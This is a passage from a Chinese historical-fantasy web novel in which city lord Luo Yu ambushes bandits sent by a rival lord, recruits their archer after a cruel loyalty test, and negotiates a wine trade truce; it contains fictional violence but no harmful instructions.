“前两批卖出去的酒外加坑了一笔杜家的定金,咱们总共挣了两千三百两银子,但又托江掌柜买了一千五百石粮草,再扣去发给民夫的工钱、购买酿酒的原料,现在手里只剩下五百两了。
两千多人口,每天要吃去四十石粮,一千五百石粮草做最多能吃一个半月……”
洛羽听了半天,嘴角发苦,也就是说忙活了一个多月,手里还是只有几百两银子,堪称穷光蛋,他算是意识到当一个城主有多难了。
不过沈漓的表现让他很是满意,记账、统筹、分派物资都干得井井有条,闲暇时分还会找自己和萧少游学字,虽说字写得歪歪扭扭,但进步很快。
沈漓收起信纸道:
“随着人口越来越多,咱们的开销也会越来越大,只能等着听雨楼这一千坛酒卖出去,咱们才能有钱供应城中开支。
不过乱石岭的土匪……”
站在旁边的萧少游开了口:“今天董川带人出去送酒,又被余寒弓射回来了,这已经是第三次了。”
这几天洛羽派人出城,试探性往凤川城送酒,可乱石岭的土匪拦在他们的必经之路上,根本就过不去。那个余寒弓也是奇怪,每次都以箭**,但绝不伤一人。只有刘半耳带土匪拦截的那次打伤了不少兄弟,差点**人。
也就是说听雨楼在酒市上接了那么多订单,到现在苍岐城连一坛酒都没有送出去。
萧少游冷声道:“实在不行,我带人去把土匪灭了吧,三百多人而已,我们还吃得下。”
“这伙土匪是地头蛇,熟悉地形,钻进山里咱们不一定能讨到便宜。而且我担心的是万一我们倾巢而出,姚家出兵在背后给我们致命一击怎么办?”
洛羽面色冰冷,这可不是什么太平世道,大家都是靠拳头说话,鼎香居的生意被听雨楼抢了一大半,逼急了姚家他们什么事都做得出来。
“再容我想想吧,反正还有半个月才到交货的时间,不急。”
洛羽抱着膀子说道:
“除了土匪我还在想另外一件事,我们总是靠买粮运入苍岐可不是个事啊,两千人还可以买,两万人呢?苍岐最起码得自给自足一部分吧,不然日后万一粮道被断,咱们吃什么?”
“其实,其实我一直有个建议。”
沈漓壮着胆子说道:
“黑岐山上都是黑土,这种黑土土壤肥沃,适宜耕种,完全可以在大大小小的山梗见开垦梯田、种植庄稼。虽然不如平原耕作那么方便,但总比没有好吧?黑岐山面积广,定能产出不少粮食。”
“好主意。”
萧少游补了一句:“另外三岐山周边的那些村落也有不少田地,怎么说也是苍岐的属地,君家只不过收了三个月的田赋,眼看着时间快到了,咱们可以向各村收赋。”
“那就这么办,咱们做两手准备,一边开垦梯田一边收赋。”
洛羽轻笑道:
“到了三岐山这么久,整天忙这忙那,还没去那些属地看过,少游,你陪我去转转。”
……
三岐山很大,大到骑马兜上两天也无法在外围绕一个整圈。大山内部是死路,渺无人烟,但外围山脚下有不少百姓聚居,开垦出一片片田地过着自己的小日子。
本以为此地远离边关,村民们会过上一种世外桃源的生活,可洛羽真见到村民的时候才意识到自己想多了。
这里是许家庄,离苍岐城没多远的小村落,全村也就一百多户,五百人左右。
田野里有不少百姓在劳作,春耕结束,粟谷已经开始冒头,他们在田中清理杂草,浇水灌溉。这些庄稼汉全都面黄肌瘦、瘦骨嶙峋,眼神中充斥着一种茫然与麻木,给人的感觉就像是行尸走肉。
田地间还有几名家丁仆役模样的人拎着鞭子,往来呵斥:
“妈的,你们这些贱民,谁也别想在老子面前偷懒,今天干不完活就没饭吃!”
谁干活的动作慢了,定会挨上一鞭子,打得皮开肉绽。
“怎么回事?”洛羽目光紧锁,这哪儿半点世外桃源的感觉。
萧少游冷声解释道:
“岐城荒废了这么久,这些村子就是无主之地,久而久之每个村子都出现了一个大地主,互相联手欺压百姓,巧取豪夺,将整个村子的田地霸为己有。
也就是说这些庄稼汉压根就没有自己的田地,全都是在给地主家打工,辛苦一天才能换来一点点粮食,勉强苟活。”
“原来如此。”洛羽
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冷声道:“看来整个陇西这样的事不少吧?”
“何止是陇西,天下皆是如此。”
萧少游讥讽道:“地主门阀兼并土地,百姓聊以糊口,这就导致富人越富、穷人越穷。对庄稼汉来说这辈子如果能有几亩自家的田地,那就是天大的幸事了。”
“百姓无田,怎么活得下去?”
洛羽目光紧凝:
“都说沈漓她们来自奴庭,可怜得很,看来我乾国的百姓也好不到哪儿去啊。”
“可百姓哪来儿的田?”萧少游无奈地摇了摇头:“难不成指望那些地主将田地吐出来,分给其他百姓?”
“洛城主大驾光临有失远迎,实在抱歉。”
两人正说着,就有一位身穿锦衣的老人匆匆穿过田头,恭恭敬敬地对洛羽拜了一拜:
“小人许家庄许南,拜见洛城主!”
白发苍苍的许南就是这片村落最大的地主,整个许家庄的土地几乎都归他所有,光看锦缎织成的衣袍就知道是个富态人家。
“这片田地都是你的吧?”洛羽指向田头:“为何要打骂农夫?”
“害,这些贱民个个好吃懒做,不打不骂哪里肯干活。”
许南呵呵笑道:
“小人手中这么多田地,总不能荒废了吧。”
“贱民?”
洛羽扭头看着他,目光突然冷厉:“为何称同村百姓为贱民?”
“这些人本就是再穷困不过的庄稼汉了,身份低贱,自然是贱民了。”
冰冷的目光让老人不自觉的有些畏惧,小心翼翼地问道:
“洛城主,有什么不对吗?”
“都是一个姓,都是一个村。为什么他们无田,而你却有几百亩地?是你许南命好还是说你有什么好办法能让大家心甘情愿地将地全都送给你?”
“这……”
许南一时语塞,竟然不知该如何作答,但他从洛羽的语气中听出了一丝不善。
洛羽冷冷地瞄了他一眼,转而问道:
“君家提前收了你们三个月的田赋,眼看三个月就要到了,该交给苍岐的田赋准备好了吗?我也先收你们三个月的。”
“这个。”老人支支吾吾:“洛城主,去年年景不好,地里收成不多,只怕一时半会儿难以凑出田赋啊。”
“怎么,君家来收就能收到,我就收不到?”
洛羽冷笑一声:
“也别说我不讲人情,最多缓你们一个月,一个月内交不上田赋,我就让你知道苍岐城谁说了算!”
第73章踩死洛羽
“嘎吱嘎吱。”
车轱辘压着砖瓦路缓缓前行,驶向听雨楼的方向。洛羽一晃就出现在了凤川城,与江殊坐在同一辆马车内。
乱石岭的土匪们只是不让洛羽往凤川城送酒,行人往来还是以前一样畅通无阻。
“酒我已经酿好了,但一时半会儿还送不过来,你这边没问题吧?”
“暂时没问题,毕竟我和客商们约定的时间是一个月,这不还有十天吗。”
江殊苦笑道:“但一个月期满我如果交不出酒水,只怕听雨楼的名声就得像鼎香居一样臭大街了。”
自从上次酒市鼎香居拿清水糊弄客人之后他的名声就一落千丈,不仅凤川城的人在骂,就连其他郡县的客人也在骂。再借助三锅头的红火,听雨楼俨然成了凤川城生意最好的酒楼。
“若真是被逼急了,咱们只有用刀说话了,区区一伙土匪我还没放在眼里。”
洛羽的眼眸中闪过一丝冰冷,他不怕姚家,只是不想轻易动兵戈罢了。如今的苍岐城还很弱小,不能轻易树敌,要么不动,要么就一脚把敌人给踩死。
“我倒是有个好主意。”
江殊突然低声道:
“乱石岭卡在从苍岐到凤川的要道上,所以刘半耳那伙土匪才这么肆无忌惮地拦路。
但这条路应该不是必经之路,我听说过一条小路,需要从山中穿行,多绕上二十里也能到凤川城,只不过山中小路很窄,走不了大型马车,只能用平板车推行。要转运上千坛酒水洛城主得出动许多人手。”
“噢?竟然还有这样的小路?”
洛羽目光一亮:
“只要能送出酒水,累点无所谓。这条路在哪儿?”
“我已经派店里的伙计去探路了,等探清了路况会派人去你那儿带路。”
江殊沉声道:
“这可是最后送酒的机会,消息务必保密,决不能让那伙土匪知道。万一把酒水给劫了,咱们可就前功尽弃了。”
“放心吧。”
洛羽冷笑道:“只要有路,我就能把酒水给你送过来。”
“全靠洛城主了。”
现在听雨楼算是和苍岐城绑在了一起,洛羽得罪了姚林,江殊何尝没有得罪鼎香居?
“倒是你。”洛羽忍不住提醒了一句:“你整天在城内晃荡,小心姚家和杜刚对你下黑手。”
“呵呵,不会的。”
江殊坦然一笑:“姚林的这些手段都是藏在暗处的,上不得台面,表面上他还得维持城主府的公正,若是肆意**,城主府的脸面往哪儿放?
况且在他们看来洛城主是我的靠山,只要苍岐城还在,就不会随随便便对我出手。”
“你倒是聪明得很啊,竟然扯我做大旗?”
洛羽的嘴角勾起一抹玩味,与江殊相处了这么久,他发现这个年轻掌柜比很多老狐狸都要聪明,做事有条不紊,从无纰漏。
江殊无奈的一摊手:
“没办法嘛,这不是还得替洛城主挣钱?咱们也算是互帮互助。”
“行吧,反正你多加小心。”
“掌柜的,到了。”
驾车的车夫突然喊了一声,江殊掀开车帘,只见墙角处半躺着一个乞丐,蓬头垢面,浑身脏兮兮的,好像在睡觉。
江殊甚至都没有下车,只是吹了声口哨,顺势丢出一块碎银子。听到口哨声,小乞丐伸手在地上摸来摸去,然后将碎银子塞进怀里,随意在空中挥了挥手后又翻个身子接着睡觉。
如此诡异的场面让洛羽愕然:
“你这是?”
江殊隔着车窗看了一眼乞丐的背影,神情恍惚:
“一个可怜人罢了,以后再与洛城主解释。”
……
洛羽背着手在屋中来回踱步,萧少游韩朔一左一右侍立在旁,三人的表情似乎都带着些忧虑。
距离听雨楼要酒的日子只剩两天,可一千坛酒还整整齐齐地摆在营中,不急才怪。
过了好一会小伍的声音总算响了起来:
“城主,人到了。”
“赶紧叫进来!”
小伍领着一名听雨楼的伙计走进屋中,伙计赶忙弯腰道:“洛城主,小人叫金宝,江掌柜派我来的,说是给洛城主带路。”
“等你好久了,总算来了,说说那条路吧。”
洛羽只瞧了一眼就认出了金宝,此前几次去听雨楼他都跟在江殊身边服侍,算是伙计里面比较聪明伶俐的了。
金宝赶忙说道:
“路小人已经探过一遍了,出了苍
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岐城一路往西走,然后再转向往南,翻过两个小山头就能避开乱石岭抵达凤川城。就是路窄,走不了马车。”
“走不了马车不要紧,能到凤川就行,咱们用平板车推过去。”
金宝小心翼翼地问道:
“洛城主,平板车推的话最起码得两三百号人运酒,会不会动静太大了些?”
“时间紧迫,只能这么办了。”
洛羽接着问:
“这条路隐蔽吗?那些土匪会不会也知道这条路。”
“绝对不会。”
金宝拍着胸脯说道:“这条路几乎都是山路,很是隐蔽,小人钻了好几天山林子才摸索出这条路来。”
“很好。”
洛羽转头看向萧少游和韩朔:
“把一千坛酒水全部装上平板车,点齐两百号军卒,一百民夫,明天入夜之后就出发,趁着夜色将酒水送入凤川城!”
“诺!”
……
凤川城,城主府
杜刚笑呵呵的说道:
“还是大哥厉害啊,只不过稍微出手就让酒水一坛都出不了苍岐。那个洛羽,乳臭未干的小儿罢了,还以为是强龙过江,实际上连个屁都不算。”
“哈哈。”
姚林大笑一声:
“咱哥俩好歹在凤川城混了这么多年,若是连一个毛头小子都斗不过,岂不是白混了?也就是我现在当了城主,放在十几年前,老子一定带人去砍了他!”
姚林目光阴寒,别忘了,他也是从土匪起家的。
“对了,那件事办得怎么样了?”
“放心吧,一切都按计划进行。”
杜刚的脸色逐渐冷漠,嘴角勾起一抹阴笑:
“大哥这一手实在是高,不仅能踩倒苍岐和听雨楼,还能弄到酿酒的配方。”
“哼,跟我斗他还太嫩了点!去给刘半耳传个信,这次的事只要干得漂亮,好处少不了他的,但若是办砸了,他就别想在乱石岭混了。”
“好,我这就派人去传信!”杜刚兴奋地搓着手:“不知道为什么,弟弟我现在很兴奋啊。”
“哈哈!”
姚林往椅背上一靠,晃悠着手中酒杯:
“老弟你放心,这次我一定踩死洛羽和江殊,替你好好出口恶气!”
第74章土匪进城
夜幕一点点降临,晚风吹拂着大地,天地间一片寂静。
苍岐城门在悄无声息中打开,一支由三百随行军卒、近一百辆平板车组成的车队悄悄驶出,一路往西行去,车上载满了给听雨楼的酒水,沉甸甸的。
为了防止被乱石岭的土匪察觉,整支车队都没有点火把,完全靠着微弱的月光前行。
洛羽语重心长地叮嘱着金宝:
“路只有你一个人熟悉,带路的事就靠你了,韩都尉会带兵陪你一起去,千万不要出什么差错。如果真遇到了土匪,酒水可以放弃,但兄弟们一定要平安回来。”
“放心吧洛城主,山路小人熟悉得很,一定会将酒水一坛不少地带回凤川。”
“不错,这件事办妥了我重重有赏,出发吧!”
车队一头扎进了夜色中,苍岐城门也紧紧关闭,再无任何声响,只剩城头上飘扬着几团火光。
夜风在山林中呼啸,树影晃动间宛如有鬼魅穿行,胆子小点的人还真不敢在三岐山走夜路。
约莫过了半个时辰,数不清的人影出现在了苍岐城外,藏身于灌木丛中,人人手里握着家伙,明晃晃的大刀片子在月色的映衬下泛着寒光。
乱石岭的土匪!
“啧啧,姚城主果真是神机妙算啊。”
少了半只耳朵的刘半耳从粗壮的树干背后探出了脑袋,面带讥讽:
“随便派个奸细便能将守军都骗出城,苍岐城岂不是成了一座空城?这个洛羽,果然是个**没长齐的孩子。”
“城中应该还有守军吧?”余寒弓低声道:“以他们的性格绝不可能将所有军卒都派出去送酒。”
“放心吧,我大概数了一下,送酒的军卒应该有两百人,还有一百人是民夫百姓。根据之前的情报,苍岐城拢共只有三百兵丁,眼下城中只剩一百人。
可我们有两百多号兄弟,足够将苍岐城一网打尽!”
刘半耳冷笑道:
“姚城主交待过了,咱们今夜的任务就是找到酿酒的秘方,实在不行就生擒那个洛羽,逼他说出酿酒配方。至于那些个军卒嘛就全都杀了,以免有后顾之忧。”
“全都杀了?不好吧。”余寒弓眉头微皱:
“我们与他们无冤无仇,犯得着杀这么多人吗?”
“二弟啊,你就是性子不够狠。咱们既然选择了动手就一定要斩草除根!否则遗患无穷。”
刘半耳的眼眸中出现了几抹贪婪:
“姚林已经说了,只要咱们拿到秘方、杀了洛羽,以后苍岐城就是我们的,再也不用窝在山沟沟里当土匪了。”
“可是还有那么多百姓……”
“行了,别可是了!”
刘半耳冷声道:“我是大哥我说了算。”
“动手!”
十几名健壮的土匪涌出队伍,一溜烟地摸到寨墙脚下,完全没有引起守卒的注意。
只见他们甩出几条钩爪牢牢勾住墙头,几人互相一搭手、一踩背,很顺利地就跃上了墙头,整个过程行云流水,娴熟无比,然后他们就从城内将寨门给打开了。
“哈哈,走!荣华富贵指日可待!”
黑漆漆的门洞让刘半耳兴奋无比,土匪们顺着寨门鱼贯而入。过了那道寨墙他们才发现三岐山已经大变样,远处的山脚下亮起了微弱的火光,一排排木屋整齐排列,既像是百姓的住所又像是士兵的营房。
“妈的,怎么成了这般模样,他们是真能折腾啊。”
刘半耳骂骂咧咧地皱起眉头:
“酒呢,在哪?酿酒的秘方一定和酒放在一起吧?实在不行给我把整个营地翻个底朝天!”
“大哥,你有没有觉得不对劲?”
余寒弓沉着脸四处扫视:
“咱们进来的也太轻松了,就算他们派出大部分人去护送酒水,可也不至于一个守卒都看不见吧?”
从他们进来到现在确实连一个人都没撞见,两百多号土匪几乎是光明正大地聚在营地中央。
“没事的,说不定早就睡了,什么边关撤下来的精锐,要我看就是一群乌合之众罢了。”
刘半耳讥讽道:
“就算有人,撑**百十号兵油子罢了,怕什么?咱们现在的任务就是找到酿酒的配方,实在不行把所有的百姓都抓起来,挨个拷打审问,总归有知情的!”
晚风骤起,突然有一阵酒香飘进了刘半耳的鼻子,他一下子就直了眼!三锅头!酿酒的秘方一定和三锅头摆在一起。
“在那!”
刘半耳扭头看向酒香飘来的方向,那儿有几顶孤零零的军帐,帐篷里
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亮着火光,似乎还有人影在晃动。
他打了个手势,土匪们蹑手蹑脚地围了过去,四五名胆子大的已经伸手去掀厚重的布帘了。
布帘掀开的一瞬间,几名土匪就如遭雷击,僵在原地一动都不敢动。
“妈的,一群废物,愣着干什么!”
刘半耳再也忍不住了,骂骂咧咧:“见鬼了!”
下一刻他就发现不对劲了,几名土匪在一步步地往后退,几杆寒光凛凛的**顶在他们的咽喉处,只要轻轻一捅就能要了他们的命。
“杀啊!”
“包围这群土匪,一个都不能跑了!”
刘半耳愣神的瞬间,周围火光四起,喊声大作,原本寂静无比的城内涌出数不清的军卒,墙头上还架起了一把把**,箭矢蓄势待发。
“果然有诈!”余寒弓一阵气急,怒喝道:“兄弟们小心,准备迎战!”
“刘首领,好久不见!”
洛羽的身影出现在了城头上,居高临下的望着他:
“深更半夜潜入苍岐城,意欲何为啊?”
“怎么会这样。”
刘半耳有些慌了,瞅这个样子洛羽分明就是设好了埋伏在等他,可洛羽为何会知道他们的部署。
洛羽冷声道:
“区区一伙山贼土匪也敢打苍岐城的主意,真是活腻歪了。现在放下武器,我还可以饶你们一条命!”
“妈的,洛城主高兴得太早了吧,你手下不过区区百人罢了,老子可不怕你!”
刘半耳怒吼一声:
“兄弟们都给我杀!砍下一颗脑袋,老子赏五两白银!”
“杀啊!”
听到有重赏,土匪们咬着牙一拥而上,和苍岐城的守军混战在了一起。别看土匪人多势众的,可比起经过数月训练的老兵,他们真不是对手,被打得节节败退。
“寒弓,咋办?”
刘半耳惊恐道:“要不咱们先撤出去吧?”
“死到临头还想跑?”
洛羽微微摇头,手掌轻挥,又有两百多悍卒杀进了战场,韩朔的怒吼声回荡全场:
“给我杀!”
“一个都不许跑了!”
分明就是刚刚出去送酒的兵马!
刘半耳彻底傻眼了,一股绝望从心底浮现:
“怎么可能!”
第75章你们两只能活一个
“全都抱着头,去墙角那儿蹲着!”
“都给老子老实点,谁敢乱动就宰了!”
月色朦胧,晚风拂拂,空气中弥漫着一股血腥味。
这是一场毫无悬念的战斗,乱石岭的土匪大败亏输,在**几十个人之后全都跪地乞降,洛羽这边则是毫发无伤。
除了一个余寒弓之外,其他土匪在他们眼里确实都是乌合之众,不堪一击。
刘半耳和余寒弓两位首领同样被五花大绑,跪在地上。
漆黑的夜色中点着几团篝火,跃动的火苗照亮了两人的脸颊。
相比于神色慌乱、不断颤抖的刘半耳,余寒弓显得镇定得多,只是恶狠狠地瞪着洛羽:
“洛城主用这种奸计打败我们,算不得好汉吧?”
洛羽用铁钳漫不经心地扒拉着火苗:
“骗我们出城从小路送酒,分散兵力,再玩一手釜底抽薪、夜袭苍岐,还想老弱妇孺下手。
你们就是英雄好汉了?
这是战场,胜负最重要,过程不重要。”
余寒弓哑口无言,但十分不甘心,自己一手箭术还没来得及施展就被蒙虎贴身一个背摔给撂倒了。
洛羽盯着刘半耳:
“是姚林给你出的主意吧,他说我们今夜会分兵出城,让你夜袭苍岐、偷取酿酒的秘方?”
“你,你怎么知道?”
刘半耳的脑子到现在都是蒙的,为何如此绝妙的计策会被洛羽轻而易举地识破?
“哼,把人带上来!”
听雨楼的伙计金宝被韩朔提溜了过来,往地上一扔,早就吓得面色惨白,浑身发抖:
“洛城主,为何,为何要抓我。”
江殊竟然从夜色中走了出来,面无表情地看着金宝:
“你是鼎香居的人吧?”
金宝瞳孔一缩,越发惶恐。
江殊有条不紊地说道:
“和鼎香居斗了这么多年,总觉得身边有杜刚安插的人,只不过一直不确定罢了。
直到上次洛城主来鼎香居的行踪泄露我才确定,身边心腹肯定有杜刚的人!
我费了一番心思去查,最后确定是你!”
金宝失魂落魄,想明白了一切:
“所以您让小的去探路是故意的,故意借我的手把消息传给鼎香居。”
“聪明。”
江殊目光微寒:
“你个忘恩负义的叛徒,押下去,待会儿再收拾你!”
“饶命,掌柜的饶命啊!”
两名凶神恶煞的军卒将金宝押走了,洛羽这才转头看向刘半耳与余寒弓:
“现在该来算算我们之间的账了,苍岐与乱石岭往日无怨、近日无仇,你们何必掺和到我和姚家的恩怨里?
你们应该知道我杀过很多羌人,也杀过羌兵大将,杀起几个土匪来我可是连眼皮子都不会眨一下的。”
无比平淡的口吻却让刘半耳面色苍白,哆哆嗦嗦地求饶:
“是小人有眼不识泰山得罪了您,我该死,我有罪。
求洛城主大**量,饶小的一命吧。”
威风八面的山大王其实和普通喽啰没区别,刀锋抵在咽喉处时也会怕死。
刘半耳声泪俱下,余寒弓却纹丝不动,冰山脸上没有半点惧怕。
洛羽好奇道:“你怎么不求饶?说不定我真的会绕你们一命。”
“死则死矣,有何惧之。”
余寒弓虽然跪着,但上半身挺得笔直:“输了就是输了,要杀要剐,洛城主自便!”
“啧啧,好硬气啊。”
洛羽眉头微挑:
“你箭法不错,我这个人爱才,倒不如跟我吧,我可以饶你一命。”
洛羽不仅看中他的箭术,还看中他的人品,几次拦截运酒队伍他都不伤一人,达到目的就走,也不会滥杀无辜。
“跟你?”
突如其来的招揽让两人都愣住了,余寒弓几乎没有犹豫就摇头拒绝:
“洛城主还是太小看我了,我余寒弓当初流落荒野、差点饿死街头,是大哥收留了我,给了我活路。
大哥对我恩重如山,我岂能背信弃义?还是杀了我吧!”
“怪不得。”
洛羽总算明白余寒弓为何会跟在刘半耳这个废物手里,感情有救命之恩。
“手足情深是吧,呵呵。”
洛羽嘴角上扬:“给我们松绑!”
小伍立刻上前,割开了绑着两人的麻绳,两人目露疑惑,这是何意?
洛羽随手将一把弯刀扔在二人面前:
“玩个游戏吧,你们俩只能活一个,至于谁能活,你们自己决定。”
“你,你卑鄙!”
余寒弓瞬间明白了洛羽的用意,气得脸色铁青。
“你们是阶下囚,只能任我摆布。”
洛羽饶有兴趣地抱着膀子:“我倒要看看,你们是何等的兄弟情深!”
“本以为洛城主是一代英雄,没想到如此卑劣!”
余寒弓紧握拳头,挡在刘半耳的身前恶狠狠地盯着洛羽:
“大哥你不要怕,咱们兄弟俩今天就一起上路,黄泉路上也好……”
“噗嗤!”
话音未落,弯刀就从背后砍在了他的肩膀上,鲜血瞬间染红了衣衫。
突如其来的变故,在场所有人的嘴角都勾起了一抹玩味加鄙夷。
强忍着袭遍全身的剧痛,余寒弓不可置信地回过头来:
“为,为什么?”
“对,对不起,我想活!”
握着弯刀的刘半耳浑身发抖,恐惧中又带着一股疯狂:
“我真的不想死啊!”
本来这一刀应该是必杀的,可刘半耳因为太过慌乱才砍在了肩膀上,让余寒弓侥幸逃过一劫
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。
“为什么。”
余寒弓一步步靠近刘半耳,愤怒地质问:
“不是说好了同生共死吗!不是说好了有福同享,有难同当吗!
难道这么久以来你都是在骗我!”
“你别过来!”
面对暴怒的余寒弓,刘半耳都快吓傻了,一个踉跄自己跌倒在地,论单打独斗他可比余寒弓差远了。
余寒弓顺势捡起弯刀,悲愤无比:
“我们是兄弟啊,你竟然,你竟然想要杀我!”
刀锋吓傻了刘半耳,扑倒在余寒弓的脚下,声泪俱下:
“是大哥没用,是大哥怕死,求求你,就饶我一命吧。我救过你一命,是你欠我的,现在就当是你还债了,行不行?
洛城主既然看好你,你就跟了他吧,你去替大哥求情,放我一马。
我真的不想死啊!”
眼泪鼻涕一股脑的往下流,那句你欠我的终于让余寒弓放下了弯刀,沉默许久之后才转过头来:
“洛城主,如果我跟了你,能不能放他走?”
洛羽目光微凝:
“你可得想好了,跟了我可不是你想走就能走的了。”
“放心吧,我余寒弓一口唾沫一颗钉,绝不会背信弃义。
求你,放了我大哥。”
直到现在,余寒弓依旧称刘半耳为大哥。
在刘半耳欣喜若狂的眼神中,洛羽挥了挥手:
“滚吧,以后别让我再看到你。”
他实在懒得多看这个小人一眼。
“谢,谢洛城主!”
“二弟,以后咱们就两不相欠了!”
劫后余生的刘半耳喜极而泣,连滚带爬的跑向远处。
“洛城主,以后余某这条命就是你的了。”
余寒弓恭恭敬敬地跪了下来,脸上带着说不清的落寞、悲戚,像是被人伤透了心。
“起来吧,以后在我面前,不用跪。”
其实洛羽一开始对余寒弓很满意,可刚刚这一连串的事情让他觉得此人有些妇人心肠,挨了一刀都要保刘半耳的命。
心肠太软可不好啊。
“请洛城主赐弓,余某送您一份见面礼。”
“噢?”
洛羽眉头微挑:“给他。”
小伍将缴获来的**还给了余寒弓。
只见他弯弓搭箭,对准了刘半耳逃跑的方向,他都快逃出射程之外了,天色还这么黑,几乎就是个黑点。
火苗跃动,照亮了余寒弓的脸颊。
悲戚、失落的情绪彻底消失,取而代之的是一股冰寒。
“嗖!”
箭矢在夜空中滑出一道圆弧,寒芒四射,尖锐的破风声令刘半耳浑身的汗**都竖了起来。
“你刚刚说两不相欠,这一箭就当我给你送行了。”
“噗嗤!”
箭矢当空而落,正中额头!
第76章给洛城主看茶!
苍岐城外的某处荒郊野岭多了一座新坟,没有石碑牌位,宛如孤魂野鬼。
亲手射杀刘半耳,又亲手将他给埋了,忙碌一整夜的余寒弓精疲力尽地瘫坐在地,肩膀上的伤口虽然经过简单的包扎,但依旧有血迹渗出。
洛羽、萧少游站在身后,都用一种古怪的目光打量着他。
“洛城主是不是觉得我这个人很奇怪?明明杀了他,却还要给他立个坟。”
余寒弓看了一眼坟头:
“杀他是因为他想杀我,我报仇罢了。这个世道,心慈手软是没有好下场的。埋他是为了最后送他一程,我的命是他给的,该报的恩要报。”
“我懂,但我好奇的不是这个。”
洛羽意有所指地问道:
“你看起来并不笨,和他朝夕相处这么久岂会不知他的性格?”
余寒弓默然,低下了头:
“我其实出生在云阳关,十五岁那年羌兵破城,爹娘带着我仓皇出逃,半路遇到羌贼追击,他们用命拖住羌兵才让我侥幸逃脱。
自那以后我再无家人,孤苦无依。
从云阳关一路逃到凤川,整整七天全靠啃树皮充饥,在我快饿死的时候是他给了我一口饭吃,把我带在身边,我二人结拜为兄弟。
以前的他还是很重兄弟情义的,可自从上山当了匪、自从他攀上了姚家整棵大树,他人就变了,越来越爱钱、越来越爱权。
有时候甚至会为了银子去杀一些无辜百姓,我看在眼里痛在心里,可我的命是他给的,没资格说他什么,只能在心里祈祷他能自己醒悟、迷途知返。
但我万万没想到,他会狠下心对我下**。
直到今晚,我才对他彻底失望。”
“所以你之前饶蒙虎一命、所以你不肯伤害那些运酒的士兵,因为你觉得他们是在替你爹娘报仇。”
洛羽豁朗开朗,总算明白余寒弓为何一次次对自己人手下留情了。
因为余寒弓生于云阳关!而他们守住了云阳关!
余寒弓惨然一笑:
“我佩服你们,你们才是堂堂正正的汉子,而我只是个土匪,背地里是要被老百姓戳脊梁骨的。”
“不是你们,是我们。”
洛羽语重心长:
“跟着我,我保证老百姓绝不会再骂你,你也可以上战场、杀羌贼,你会有机会亲手替爹娘报仇!”
“好!”
一直冰山脸的余寒弓鼻尖一酸,眼眶泛红,然后用一丝求情的语气说道:
“被俘虏的那批人里有不少是迫于无奈才落草为匪的,实则秉性纯良,都是老实巴交的庄稼汉子,手中从没沾过人命。
若是城主不嫌弃,能不能留下他们?
另外,乱石岭还有几十匹战马和这些年抢来的财货,我带人去全拉回来。”
“没问题,你选出来的人我信得过。”
洛羽露出一抹笑容:
“跟着我,你们绝不会后悔!”
……
凤川城,城主府
一大清早姚林就在屋子里来回踱步,杜刚兴致勃勃地坐在边上,两人在等好消息。
一想到三锅头的秘方即将到手,他们就兴奋得一夜没睡。
一盏茶喝完,老管家总算急匆匆地走进了屋内,杜刚立马问道:
“怎么样,刘半耳回来了吗?”
“没,没有,乱石岭的土匪音讯全无。”
“什么?”
姚林略显不悦:
“这群土匪果然不堪一用,这么点小事都办得拖拖拉拉,赶紧派人去苍岐看看,到底是什么情况!”
“怕是,怕是不太妙。”
老管家小心翼翼的说道:“苍岐城的酒水已经全都运到了听雨楼,而且,而且是那个洛羽亲自护送的。”
“什么,他亲自送的?”
姚林和杜刚都蒙了,如果苍岐城真的出了事,洛羽怎么会出现在听雨楼?
“妈的,刘半耳到底在搞什么!”
姚林急得团团转:“好歹派人送个信回来啊!”
“咳咳,大人。”
老管家低声道:“那位洛城主就在府外,说是要见您。”
“他来了?”
姚林眉头紧皱,思虑许久才喝道:
“那就请进来吧,我倒要看看他想耍什么花样!”
……
在两人带着敌意的目光中洛羽施施然走进屋中,不慌不忙,抬手抱拳:
“姚城主,第一次见面,在下有礼了。”
洛羽的年轻让姚林有些吃惊,但依旧不动如山,冷冷地说道:
“久闻洛城主大名了,今日幸得一见,不知大驾光临所为何事?”
“呵呵。”
洛羽自顾自地扯了把椅子桌下,翘起二郎腿:
“你们应该在等刘半耳的消息吧?”
姚林眉头微皱:“抱歉,我听不懂
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洛城主在说什么。”
“听不懂没关系,我就是想告诉两位不用等了,刘半耳和那个金宝已经**,从今以后乱石岭也不会再有土匪。”
平平淡淡的一句话令两人面色抖变,他们很清楚这句话背后的含义,他们的算盘全部落空!
姚林终于不再遮掩,铁青着脸:
“洛城主到底是杀了完颜昌的人啊,手段果然狠辣。但如果你觉得这样就算赢了,那你把我姚林想得也太简单了。
我在凤川城多年,不是什么人都能骑在我头上撒野的。”
“不不不,姚城主误会了不是。”
洛羽轻轻往椅背上一靠:
“其实我从未想过与姚城主还有杜掌柜为敌,我只想赚点小钱,好好在苍岐城过日子。
你我之间并无血仇,没必要斗得头破血流,苍岐和凤川完全可以和平共处。
酒市的事我虽然摆了你们一道,可也是杜掌柜先给我下套的吧?咱们就算是扯平了。
我这里有一桩合作,不知姚城主想不想听听?”
姚林的脸色似乎缓和了不少,饶有趣味地反问道:
“说来听听。”
“听雨楼对外售出三锅头的价格是十五两一坛,我已经与江掌柜谈妥了,只要杜掌柜愿意,可以以十二两一坛的价格卖给鼎香居。
三锅头的品质大家都清楚,鼎香居即使以十二两的价格收购依旧有利可图,而且利润不低。”
“噢?”
姚林目光一亮:“洛城主愿意将三锅头卖给鼎香居?”
这阵子鼎香居的生意奇差无比,无非是因为没有三锅头这种好酒,吸引不了有钱人。如果他也有酒,哪怕价格比听雨楼贵一点,总归能让生意好转,就像洛羽说的,依旧有利可图。
“我说了,无意与两位结仇。”
洛羽平静的说道:
“有钱大家一起赚,不好吗?
该说的话我已经说完了,是一起挣钱,还是接着斗,决定权交给姚城主。
多说一句,我手下那帮兄弟都是苦命人,在云阳关玩过命,如今好不容易有了个小家,若有人想毁了这个家,咱们就只能奉陪到底了。”
屋中陷入了短暂的沉寂,姚林与杜刚来了一番眼神交流,似乎在思考其中的利弊得失。
过了许久,姚林的脸上出现了一抹笑容:
“来人,给洛城主看茶!”
第78章换做是你,你愿意吗?
许家庄
苍岐城属地下的小村落,总共一百多户,前阵子洛羽来过。
这次洛羽换上了一件粗布麻衣、撩起裤腿,干起了庄稼活,一会儿除草一会犁地挖槽,汗如雨下。
田里还有一对父子,时不时用好奇的目光瞅向洛羽,这五亩地本该是他们种的,可这个陌生人到这二话不说就开始帮他们干活,一干就是一上午,愣是一声没吭。
正午时分,父子俩终于歇了,满头白发的老人高喊了一声:
“陌生人别干了,过来坐会。”
